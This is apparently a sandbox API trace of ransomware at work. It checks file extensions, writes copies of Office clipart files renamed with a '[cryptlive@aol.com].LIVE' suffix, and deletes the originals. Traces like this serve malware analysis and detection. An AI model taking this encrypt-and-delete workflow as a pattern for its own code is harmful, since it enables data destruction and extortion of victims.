[0141.372] lstrlenW (lpString=".docx") returned 5 [0141.372] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.372] lstrlenW (lpString=".pdf") returned 4 [0141.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.372] lstrlenW (lpString=".xls") returned 4 [0141.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.373] lstrlenW (lpString=".xlsx") returned 5 [0141.373] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.373] lstrlenW (lpString=".ppt") returned 4 [0141.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0141.373] lstrlenW (lpString=".zip") returned 4 [0141.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.373] lstrlenW (lpString=".rar") returned 4 [0141.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.373] lstrlenW (lpString=".bz2") returned 4 [0141.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.373] lstrlenW (lpString=".7z") returned 3 [0141.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0141.373] lstrlenW (lpString=".dbf") returned 4 [0141.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0141.373] lstrlenW (lpString=".1cd") returned 4 [0141.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0141.373] lstrlenW (lpString=".jpg") returned 4 [0141.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.373] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.373] lstrlenW (lpString="DD01152_.WMF") returned 12 [0141.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.374] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2960) returned 1 [0141.374] CloseHandle (hObject=0x1ec) returned 1 [0141.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x20 [0141.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.374] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.375] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.378] GetLastError () returned 0x0 [0141.378] ReadFile (in: hFile=0x1ec, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xb90, lpOverlapped=0x0) returned 1 [0141.409] WriteFile (in: hFile=0x380, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xba0, lpOverlapped=0x0) returned 1 [0141.410] ReadFile (in: hFile=0x1ec, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.410] WriteFile (in: hFile=0x380, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.410] SetEndOfFile (hFile=0x380) returned 1 [0141.411] CloseHandle (hObject=0x380) returned 1 [0141.411] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.411] SetEndOfFile (hFile=0x1ec) returned 1 [0141.413] CloseHandle (hObject=0x1ec) returned 1 [0141.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf")) returned 1 [0141.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0141.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0141.443] lstrlenW (lpString=".doc") returned 4 [0141.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.443] lstrlenW (lpString=".docx") returned 5 [0141.443] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.443] lstrlenW (lpString=".pdf") returned 4 [0141.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.443] lstrlenW (lpString=".xls") returned 4 [0141.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.443] lstrlenW (lpString=".xlsx") returned 5 [0141.443] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.443] lstrlenW (lpString=".ppt") returned 4 [0141.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0141.443] lstrlenW (lpString=".zip") returned 4 [0141.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.443] lstrlenW (lpString=".rar") returned 4 [0141.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.443] lstrlenW (lpString=".bz2") returned 4 [0141.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.443] lstrlenW (lpString=".7z") returned 3 [0141.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0141.444] lstrlenW (lpString=".dbf") returned 4 [0141.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0141.444] lstrlenW (lpString=".1cd") returned 4 [0141.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0141.444] lstrlenW (lpString=".jpg") returned 4 [0141.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0141.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0141.444] lstrlenW (lpString=".doc") returned 4 [0141.444] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.444] lstrlenW (lpString=".docx") returned 5 [0141.444] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.444] lstrlenW (lpString=".pdf") returned 4 [0141.444] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.444] lstrlenW (lpString=".xls") returned 4 [0141.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.444] lstrlenW (lpString=".xlsx") returned 5 [0141.444] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.444] lstrlenW (lpString=".ppt") returned 4 [0141.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0141.444] lstrlenW (lpString=".zip") returned 4 [0141.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.444] lstrlenW (lpString=".rar") returned 4 [0141.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.444] lstrlenW (lpString=".bz2") returned 4 [0141.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.444] lstrlenW (lpString=".7z") returned 3 [0141.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0141.444] lstrlenW (lpString=".dbf") returned 4 [0141.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0141.444] lstrlenW (lpString=".1cd") returned 4 [0141.445] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0141.445] lstrlenW (lpString=".jpg") returned 4 [0141.445] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.445] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.445] lstrlenW (lpString="DD01166_.WMF") returned 12 [0141.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.645] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2080) returned 1 [0141.645] CloseHandle (hObject=0x1ec) returned 1 [0141.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x20 [0141.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0141.657] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.657] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0141.658] GetLastError () returned 0x0 [0141.658] ReadFile (in: hFile=0x36c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x820, lpOverlapped=0x0) returned 1 [0141.680] WriteFile (in: hFile=0x390, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x830, lpOverlapped=0x0) returned 1 [0141.681] ReadFile (in: hFile=0x36c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.681] WriteFile (in: hFile=0x390, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.681] SetEndOfFile (hFile=0x390) returned 1 [0141.681] CloseHandle (hObject=0x390) returned 1 [0141.681] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.682] SetEndOfFile (hFile=0x36c) returned 1 [0141.683] CloseHandle (hObject=0x36c) returned 1 [0141.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf")) returned 1 [0141.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0141.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0141.685] lstrlenW (lpString=".doc") returned 4 [0141.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.685] lstrlenW (lpString=".docx") returned 5 [0141.685] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.685] lstrlenW (lpString=".pdf") returned 4 [0141.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.685] lstrlenW (lpString=".xls") returned 4 [0141.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.685] lstrlenW (lpString=".xlsx") returned 5 [0141.685] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.685] lstrlenW (lpString=".ppt") returned 4 [0141.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0141.685] lstrlenW (lpString=".zip") returned 4 [0141.685] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.685] lstrlenW (lpString=".rar") returned 4 [0141.685] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.685] lstrlenW (lpString=".bz2") returned 4 [0141.685] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.686] lstrlenW (lpString=".7z") returned 3 [0141.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0141.686] lstrlenW (lpString=".dbf") returned 4 [0141.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0141.686] lstrlenW (lpString=".1cd") returned 4 [0141.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0141.686] lstrlenW (lpString=".jpg") returned 4 [0141.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0141.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0141.686] lstrlenW (lpString=".doc") returned 4 [0141.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.686] lstrlenW (lpString=".docx") returned 5 [0141.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.686] lstrlenW (lpString=".pdf") returned 4 [0141.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.686] lstrlenW (lpString=".xls") returned 4 [0141.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.686] lstrlenW (lpString=".xlsx") returned 5 [0141.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.686] lstrlenW (lpString=".ppt") returned 4 [0141.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0141.686] lstrlenW (lpString=".zip") returned 4 [0141.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.686] lstrlenW (lpString=".rar") returned 4 [0141.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.686] lstrlenW (lpString=".bz2") returned 4 [0141.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.686] lstrlenW (lpString=".7z") returned 3 [0141.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0141.686] lstrlenW (lpString=".dbf") returned 4 [0141.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0141.687] lstrlenW (lpString=".1cd") returned 4 [0141.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0141.687] lstrlenW (lpString=".jpg") returned 4 [0141.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.687] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.687] lstrlenW (lpString="DD01173_.WMF") returned 12 [0141.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.819] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1804) returned 1 [0141.819] CloseHandle (hObject=0x1ec) returned 1 [0141.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x20 [0141.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0141.849] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.849] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0141.849] GetLastError () returned 0x0 [0141.849] ReadFile (in: hFile=0x3b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x70c, lpOverlapped=0x0) returned 1 [0141.868] WriteFile (in: hFile=0x3a4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x710, lpOverlapped=0x0) returned 1 [0141.869] ReadFile (in: hFile=0x3b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.869] WriteFile (in: hFile=0x3a4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.869] SetEndOfFile (hFile=0x3a4) returned 1 [0141.869] CloseHandle (hObject=0x3a4) returned 1 [0141.869] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.869] SetEndOfFile (hFile=0x3b4) returned 1 [0141.871] CloseHandle (hObject=0x3b4) returned 1 [0141.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf")) returned 1 [0141.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0141.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0141.872] lstrlenW (lpString=".doc") returned 4 [0141.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.872] lstrlenW (lpString=".docx") returned 5 [0141.872] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.872] lstrlenW (lpString=".pdf") returned 4 [0141.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.873] lstrlenW (lpString=".xls") returned 4 [0141.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.873] lstrlenW (lpString=".xlsx") returned 5 [0141.873] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.873] lstrlenW (lpString=".ppt") returned 4 [0141.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0141.873] lstrlenW (lpString=".zip") returned 4 [0141.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.873] lstrlenW (lpString=".rar") returned 4 [0141.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.873] lstrlenW (lpString=".bz2") returned 4 [0141.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.873] lstrlenW (lpString=".7z") returned 3 [0141.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0141.873] lstrlenW (lpString=".dbf") returned 4 [0141.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0141.873] lstrlenW (lpString=".1cd") returned 4 [0141.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0141.873] lstrlenW (lpString=".jpg") returned 4 [0141.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0141.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0141.873] lstrlenW (lpString=".doc") returned 4 [0141.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.873] lstrlenW (lpString=".docx") returned 5 [0141.873] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.873] lstrlenW (lpString=".pdf") returned 4 [0141.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.873] lstrlenW (lpString=".xls") returned 4 [0141.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.873] lstrlenW (lpString=".xlsx") returned 5 [0141.874] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.874] lstrlenW (lpString=".ppt") returned 4 [0141.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 